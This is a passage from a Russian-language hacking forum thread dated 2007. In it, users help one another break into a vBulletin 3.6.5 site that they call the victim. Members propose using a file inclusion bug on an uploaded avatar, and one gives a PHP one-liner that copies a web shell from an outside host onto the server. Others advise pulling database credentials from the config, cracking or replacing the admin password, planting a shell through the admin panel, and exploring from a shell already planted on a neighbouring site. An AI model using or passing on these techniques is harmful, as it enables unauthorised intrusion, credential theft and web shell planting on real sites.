ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 21.12.2007, 14:38
am@tory
Познающий
Регистрация: 08.01.2007
Сообщений: 59
Провел на форуме:
152485

Репутация: 44
По умолчанию

Проще так
Цитата:
Сообщение от Macro  
Если это действительно инклуд, а не читалка, то ты можешь проинклудить что-нибудь, аватару, например. Или логи апача.
только принклюдить шелл через аватару вдруг доступ к дб, только лх.
 
Ответить с цитированием

  #12  
Старый 21.12.2007, 14:39
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154

Репутация: 126
Отправить сообщение для heks с помощью ICQ
По умолчанию

кто знает в какие диры можно заливать файлы в этом форуме. это бы тоже пригодилося
 
Ответить с цитированием

  #13  
Старый 21.12.2007, 14:40
am@tory
Познающий
Регистрация: 08.01.2007
Сообщений: 59
Провел на форуме:
152485

Репутация: 44
По умолчанию

Цитата:
Сообщение от heks  
кто знает в какие диры можно заливать файлы в этом форуме. это бы тоже пригодилося
залей аву с
<?php copy("http://www.site/shell.txt","them.php"); ?>

и инклюдь ее
 
Ответить с цитированием

  #14  
Старый 21.12.2007, 14:40
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154

Репутация: 126
Отправить сообщение для heks с помощью ICQ
По умолчанию

Цитата:
Сообщение от AkyHa_MaTaTa  
Как я понял но тот сайт на который хочешь залить шелл стоит vBulletin® 3.6.5 и у тебя есть возможность читать его дириктории, посмотри в конфиге пасс и логин на конект к мускулю, конется к мускулю, выташи пасс админа и побрудь или поменяй на время на свой, залей шелл через админку и все.
шел через админку это как то уже наиграно хочется так как я пояснял выше
 
Ответить с цитированием

  #15  
Старый 21.12.2007, 14:41
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

У тебя же есть шелл на сайте по "соседству", посмотри им, хз что там админ запретил а что нет.
 
Ответить с цитированием

  #16  
Старый 21.12.2007, 14:41
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154

Репутация: 126
Отправить сообщение для heks с помощью ICQ
По умолчанию

Цитата:
Сообщение от am@tory  
залей аву с
<?php copy("http://www.site/shell.txt","them.php"); ?>

и инклюдь ее
инклуд находится не на этом сайте а на другом
 
Ответить с цитированием

  #17  
Старый 21.12.2007, 14:42
am@tory
Познающий
Регистрация: 08.01.2007
Сообщений: 59
Провел на форуме:
152485

Репутация: 44
По умолчанию

Цитата:
Сообщение от heks  
инклуд находится не на этом сайте а на другом
Я что то запутался..
у тебя на жертве, есть инлюд или шелл? или тока пасс от дб??
 
Ответить с цитированием

  #18  
Старый 21.12.2007, 14:43
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154

Репутация: 126
Отправить сообщение для heks с помощью ICQ
По умолчанию

Цитата:
Сообщение от AkyHa_MaTaTa  
У тебя же есть шелл на сайте по "соседству", посмотри им, хз что там админ запретил а что нет.
на соседнем сайте у меня полный доступ ко всем файлам и редактирование тоже на этом же нет ни диры для записи ни редактирования файлов по крайне мере я ее не нашелдиры для записи
 
Ответить с цитированием

  #19  
Старый 21.12.2007, 14:44
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154

Репутация: 126
Отправить сообщение для heks с помощью ICQ
По умолчанию

Цитата:
Сообщение от am@tory  
Я что то запутался..
у тебя на жертве, есть инлюд или шелл? или тока пасс от дб??
у меня шел на соседнем сайте я могу читать соседние сайты но доступа на запись нету вот в чем проблема
 
Ответить с цитированием

  #20  
Старый 21.12.2007, 14:47
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

Цитата:
Сообщение от heks  
на соседнем сайте у меня полный доступ ко всем файлам и редактирование тоже на этом же нет ни диры для записи ни редактирования файлов по крайне мере я ее не нашелдиры для записи
Че ты тупиш, я тебе говорю посмотри с помошью шелла, что там на соседнем сайте, например -rw-r--r--.
Стукани в аську, если хочешь посмотрю.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом LiTO.ru ZaCo Авторские статьи 5 16.10.2005 23:29



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ